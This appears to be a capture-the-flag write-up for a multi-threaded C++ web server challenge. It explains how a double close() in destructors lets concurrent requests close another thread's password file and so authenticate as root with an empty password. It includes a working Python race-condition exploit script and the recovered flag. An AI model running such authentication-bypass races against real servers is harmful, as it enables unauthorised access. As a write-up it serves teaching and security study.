This challenge was a simple
(multi-threaded)
C++ web server (source)
featuring HTTP basic authentication for files in the /secret/
directory, which includes flag.html
.
Solvers had to circumvent the password check
(or figure out a way to get code execution
that I haven’t discovered yet :-)
).
At first glance, the server uses mostly modern C++ APIs
and there are no blatant security holes. The b64decode()
function perhaps looked a bit fishy, but does not contain
any (intentional :-)
) vulnerabilities.
However, there is a subtle bug in the implementation of
the opener
and reader
classes: The destructor is
virtual
in opener
and reader
,
which means that both destructors are called
and therefore the close()
is executed twice — so if
between the first and second close()
, another
file is opened and assigned the same file descriptor,
it will erroneously be closed, which can be fatal:
Closing the password.txt
file containing the
authentication credentials for the /secret/
directory
before the password can be read by reader::get()
leads to an empty password!
At this point, the exploit strategy is remarkably simple:
Keep hammering the server with
a request for /secret/flag.txt
using the username root
and an empty password,
until one of the parallel executions
closes another’s password.txt
file descriptor before the password is read.
At this point, the empty password is considered
correct and the flag.html
file
is returned to the client.
Here’s a slightly dirty Python script that performs this exploit:
#!/usr/bin/env python3
import sys, socket, queue
from multiprocessing import Process, Queue
count = 5000
req = b'''GET / HTTP/1.1
GET /secret/flag.html HTTP/1.1
Authorization: Basic cm9vdDo=
'''
q = Queue()
def pwn():
for _ in range(3):
sock = socket.socket()
sock.settimeout(2)
sock.connect((sys.argv[1], int(sys.argv[2])))
for _ in range(count):
try:
sock.sendall(req)
except:
pass
s = b''
while s.count(b'HTTP/1.1') < count:
try:
tmp = sock.recv(0x100)
except socket.timeout:
tmp = b''
except Exception:
pass
if not tmp:
break
s += tmp
while b'\n' in s:
n = s.index(b'\n')
if 'hxp{' in s[:n].decode():
q.put(s[:n].decode())
return
s = s[n+1:]
if 'hxp{' in s.decode():
q.put(s.decode())
return
sock.close()
for _ in range(1000):
print('.', flush=True, end='', file=sys.stderr)
procs = []
for _ in range(4):
proc = Process(target=pwn, args=())
procs.append(proc)
proc.start()
for proc in procs:
proc.join()
try:
print(q.get_nowait())
sys.exit(0)
except queue.Empty:
pass
sys.exit(1)
After a few attempts, this gives the flag:
....... <marquee>hxp{s0rrY_w3_4Re_cL0s3D}</marquee>